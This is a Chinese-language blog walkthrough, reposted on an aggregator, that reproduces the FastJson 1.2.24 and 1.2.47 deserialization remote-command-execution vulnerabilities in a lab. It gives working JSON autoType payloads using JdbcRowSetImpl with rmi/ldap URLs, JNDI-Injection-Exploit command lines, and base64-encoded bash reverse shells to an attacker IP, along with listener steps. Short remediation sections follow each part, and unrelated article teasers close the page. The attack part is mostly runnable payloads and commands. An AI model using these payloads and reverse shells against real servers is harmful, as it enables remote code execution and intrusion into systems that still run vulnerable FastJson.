FastJson 漏洞复现

news2025/1/11 11:07:58

文章目录

  • FastJson 漏洞复现
    • 1. FastJson 1.2.24 反序列化导致任意命令执行漏洞
      • 1.1 漏洞描述
      • 1.2 漏洞原理
      • 1.3 漏洞复现
        • 1.3.1 环境启动
        • 1.3.2 漏洞检测
        • 1.3.3 漏洞验证
      • 1.4 漏洞利用
      • 1.5 修复方案
    • 2. Fastjson 1.2.47 远程命令执行漏洞
      • 2.1 漏洞描述
      • 2.2 漏洞复现
        • 2.2.1 环境启动
        • 2.2.2 漏洞检测
        • 2.2.3 漏洞验证
      • 2.3 漏洞利用
      • 2.4 修复方案

FastJson 漏洞复现

1. FastJson 1.2.24 反序列化导致任意命令执行漏洞

链接地址:Fastjson 1.2.24 反序列化导致任意命令执行漏洞。

1.1 漏洞描述

说明内容
漏洞编号CVE-2017-18349
漏洞名称fastjson 1.2.24 反序列化导致任意命令执行漏洞
漏洞评级高危
影响范围1.2.24
漏洞描述fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
修复方案打补丁,上设备,升级组件

具体描述

​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。

​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

1.2 漏洞原理

攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl 恶意信息发送给目标机。

存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。

rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)

rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

靶机执行了恶意代码,被攻击者成功利用。

1.3 漏洞复现

1.3.1 环境启动

在这里插入图片描述

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。

image-20230908102919855

使用bp抓取数据包

image-20230908103413159

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

先转换为POST请求

image-20230908103814940

然后发送一个JSON数据

{"name":"wuhu", "age":20}

如果直接发送会报500错误,需要将Content-Type类型修改为JSON格式

image-20230908103953214

重新放包即可。
在这里插入图片描述

这里就是提交一个JSON格式的数据到服务器后转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。

  • JSON–>Object–>JSON

1.3.2 漏洞检测

可以使用BurpSuite扩展:Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件 (github.com)。

proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar

下载成功后,在BP中添加插件即可。

image-20230908105415142

image-20230908105548435

然后将数据包发送到插件

image-20230908105713160

正在扫描

image-20230908105746945

扫描成功,发现漏洞,然后会生成一个POC。

image-20230908105837664

将生成的POC拷贝到我们之前抓取的数据包中。

{
    "handsome":{
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"rmi://p1rgv81zmbf1ogymvoqrw59dj4pudj.oastify.com/aaa",
        "autoCommit":true
     }
}

image-20230908110223394

RMI概述:Java RMI(Java Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。

在网络传输的过程中。RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化。因此,可以将RMI服务作为进行反序列化利用链的触发点。

1.3.3 漏洞验证

使用JNDI-Injection-Exploit工具,链接地址JNDI-Injection-Exploit/README-CN.md at master · welk1n/JNDI-Injection-Exploit (github.com)。

开启RMI服务器

使用方法:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"

image-20230908112618443

1.4 漏洞利用

开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"

image-20230908114958558

kali监听9999端口

image-20230908115125415

复制到指定位置,然后放包即可

ldap://192.168.188.185:1389/1cmhtr

image-20230908115101711

监听成功

image-20230908115037764

1.5 修复方案

修复 Fastjson 1.2.24 反序列化漏洞的最佳方法是将 Fastjson 更新到修复此漏洞的最新版本。Fastjson 团队已经修复了此漏洞,并提供了补丁程序或更新版本。因此,建议立即更新 Fastjson 到最新修复版本,以确保应用程序不再受到此漏洞的影响。此外,还应采取其他防护措施,如输入验证、过滤和限制反序列化能力,以提高应用程序的安全性。

2. Fastjson 1.2.47 远程命令执行漏洞

链接地址:Fastjson 1.2.47 远程命令执行漏洞。

2.1 漏洞描述

说明内容
漏洞编号
漏洞名称Fastjson 1.2.47 远程命令执行漏洞
漏洞评级高危
影响范围1.2.47以及之前的所有版本
漏洞描述Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
修复方案打补丁,上设备,升级组件

具体描述

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

2.2 漏洞复现

2.2.1 环境启动

image-20230908145059678

环境启动后,访问http://your-ip:8090即可看到一个json对象被返回

image-20230908145111927

使用bp抓取数据包

image-20230908145323357

将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。

image-20230908145418551

2.2.2 漏洞检测

image-20230908145640306

将生成POC拷贝到抓取的数据包中。

{
    "axin":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "is":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
        "autoCommit":true
    }
}

image-20230908150031446

2.2.3 漏洞验证

开启RMI服务器

使用方法:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"

image-20230908150613821

使用JDK 1.8中的ldap

ldap://192.168.188.185:1389/asdqfh

image-20230908150549393

查看tmp目录下是否有我们创建的wuhu文件。

image-20230908150757014

通过查看后发现文件创建成功,证明漏洞存在。

2.3 漏洞利用

构造反弹Shell命令

bash -i >& /dev/tcp/192.168.188.185/8888 0>&1	# 将该命令做一个base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

开启服务器,将之前构造的反弹Shell在 -C 后面的参数进行替换即可。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"

image-20230908151051620

同时kail监听8888端口

image-20230908151221693

将ldap复制到指定位置,然后放包即可

ldap://192.168.188.185:1389/wslvmi

image-20230908151142290

反弹成功

image-20230908151152787

2.4 修复方案

  1. 升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
  2. WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
  3. 最少升级到1.2.48以上版本且关闭autotype选项

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1002644.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SV-315C 15寸触模屏 I3工控机 网络广播主机

SV-315C 15寸触模屏 I3工控机 网络广播主机 智能公共广播系统IP网络广播主机 ※ 高档7U铝合金黑色拉丝面板,美观大方; ※ 嵌入触摸屏和数字矩阵键盘操作集成软件; ※ 工业级机柜式机箱设计,有较高的防磁、防尘、防冲击的能力…

FPGA原理与结构——时钟IP核的使用与测试

一、前言 本文介绍xilinx的时钟IP核 Clocking Wizard v6.0的具体使用与测试过程,在学习一个IP核的使用之前,首先需要对于IP核的具体参数和原理有一个基本的了解,具体可以参考: FPGA原理与结构——时钟IP核原理学习https://blog.c…

[网鼎杯 2020 青龙组]singal详细题解--VMP 直接逆向,angr模拟执行,ponce符号化

文章目录 直接逆向提取opcode获取指令执行流getflag注意 使用Angr使用Ponce插件安装并配置Ponce具体操作 参考资料 直接逆向 提取opcode 主函数并不复杂,关键内容在vm_opcode中,先提取出main函数中的opcode unsigned int OpCode[114] {0x0000000A, 0x00000004, 0x00000010,…

Spring上下文模块ApplicationContextAware

博主介绍:✌全网粉丝3W+,全栈开发工程师,从事多年软件开发,在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战,博主也曾写过优秀论文,查重率极低,在这方面有丰富的经验✌ 博主作品:《Java项目案例》主要基于SpringBoot+MyBatis/MyBatis-plus+…

《数字图像处理-OpenCV/Python》连载(6)基于Matplotlib显示图像

《数字图像处理-OpenCV/Python》连载(6)基于Matplotlib显示图像 本书京东优惠购书链接:https://item.jd.com/14098452.html 本书CSDN独家连载专栏:https://blog.csdn.net/youcans/category_12418787.html 第1章 图像的基本操作 …

软件系统验收测试需要注意的地方

验收测试 一、软件验收测试含义: 软件验收测试是指测试人员检验软件是否符合软件规格说明书和用户需求的测试活动。 验收测试是软件测试的最后一个环节,也是最为关键的一个要素。 它关系到软件开发公司的产品质量,也关系到需求方的产品能…

二分查找[整数二分]

引例 不知道你有没有玩过猜数字游戏,在0到100之间随机选取一个数,让你猜是几,比如这个数是67,如果你猜了50,就会提示你小了,那么你就会去51到100之间猜,你猜了75,就会提示你大了,你就会去51到74之间去猜,就这样一直猜,数字可取的区间越来越小,用不了多久就可以猜出.当你每次都…

SpringBoot如何实现热部署

热部署是软件开发中一个非常有用的功能,它允许我们在不重新启动整个应用的情况下,依旧能够使我们修改的代码生效。 现在Java Web 开发应该都是使用的 SpringBoot,那么本篇文章就来介绍SpringBoot 如何实现热部署? 1、热部署的优点…

如何提取视频中的音频?几个步骤轻松提取

在现今社交媒体的风靡下,许多人都会使用手机录制视频来记录生活中的美好瞬间。有时候,我们也会想要提取视频中的音频,例如将自己的演讲录音分发给听众。本文将会介绍如何在手机上提取视频中的音频以及需要注意的事项。 使用应用程序 首先&am…

Linux Debian12使用git将本地项目上传到码云(gitee)远程仓库

一、注册码云gitee账号 这个可以参考其他教程,本文不做介绍。 gitee官网:https://gitee.com/ 二、Linux Debian12安装git 如果Linux系统没有安装git,可以使用下面命令安装git sudo apt install git 三、gitee新建仓库 我这只做测试&…

实现分别在Linux、Docker、Kubernetes上安装部署Mysql、Redis、Nginx软件

目录 实现目的: Linux上一键安装Mysql、Nginx、Redis软件 一键安装Mysql脚本 一键安装Redis脚本 一键安装Nginx脚本 docker上安装部署Mysql、Nginx、Redis容器 Kubernetes上安装部署Mysql、Nginx、Redis的Pod和通过Service发布 创建Pod生成容器 使用Servic…

时间序列论文-聚类和异常检测(二)

同样摘自知乎的回答:https://www.zhihu.com/question/29507442/answer/1212624591?utm_id0 正巧之前做过时间序列 的异常检测项目,这里介绍几种尝试过的方法,也算是抛砖引玉 吧,欢迎大家讨论交流~ 背景与定义 时间序列异常 检测…

c++实现数据结构栈和队列

1、栈 头文件 #ifndef ZHAN_H #define ZHAN_H#define MAX 8 #include <iostream> using namespace std;class Shu {int datatype; //入栈的数据int *arr; //栈的数组int top; //记录栈顶元素的下标public://构造函数Shu();//析构函数~Shu();//判断空int stack_empty…

COSCon'23 Call for Speakers

一年一度的开源盛会&#xff0c;COSCon23 第八届中国开源年会&#xff0c;将于10月28~29日&#xff0c;在四川成都市高新区菁蓉汇召开&#xff01; The yearly open source event, COSCon23 8th Annual China Open Source Conference, will be taken place on 28th~29th Octobe…

【编码魔法师系列_构建型1.1】简单工厂模式(Static Factory)

学会设计模式&#xff0c;你就可以像拥有魔法一样&#xff0c;在开发过程中解决一些复杂的问题。设计模式是由经验丰富的开发者们&#xff08;GoF&#xff09;凝聚出来的最佳实践&#xff0c;可以提高代码的可读性、可维护性和可重用性&#xff0c;从而让我们的开发效率更高。通…

让照片动起来的软件,轻松制作照片动效

随着社交媒体的日益普及&#xff0c;我们对于照片的要求也越来越高。普通的照片已经不能满足我们的需求&#xff0c;我们希望照片更加生动有趣。照片动效便应运而生&#xff0c;它可以让照片动起来&#xff0c;吸引更多的注意力&#xff0c;让照片更加生动有趣。 照片动效制作起…

软件验收测试

1. 服务流程 验收测试 2. 服务内容 测试过程中&#xff0c;根据合同要求制定测试方案&#xff0c;验证工程项目是否满足用户需求&#xff0c;软件质量特性是否达到系统的要求。 3. 周期 10-15个工作日 4. 报告用途 可作为进行地方、省级、国家、部委项目的验收&#xff0…

Java-华为真题-预定酒店

需求&#xff1a; 放暑假了&#xff0c;小王决定到某旅游景点游玩&#xff0c;他在网上搜索到了各种价位的酒店&#xff08;长度为n的数组A&#xff09;&#xff0c;他的心理价位是x元&#xff0c;请帮他筛选出k个最接近x元的酒店&#xff08;n>k>0&#xff09;&#xff…

JavaScript中的Generator函数及其使用方式

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ Generator函数⭐ 创建Generator函数⭐ 调用Generator函数⭐ Generator函数的应用1. 异步编程2. 生成器&#xff08;Generator&#xff09; ⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧…

L1-002 打印沙漏分数 20

L1-002 打印沙漏 分数 20 全屏浏览题目 切换布局 作者 陈越 单位 浙江大学 本题要求你写个程序把给定的符号打印成沙漏的形状。例如给定17个“*”&#xff0c;要求按下列格式打印 ************ *****所谓“沙漏形状”&#xff0c;是指每行输出奇数个符号&#xff1b;各行符…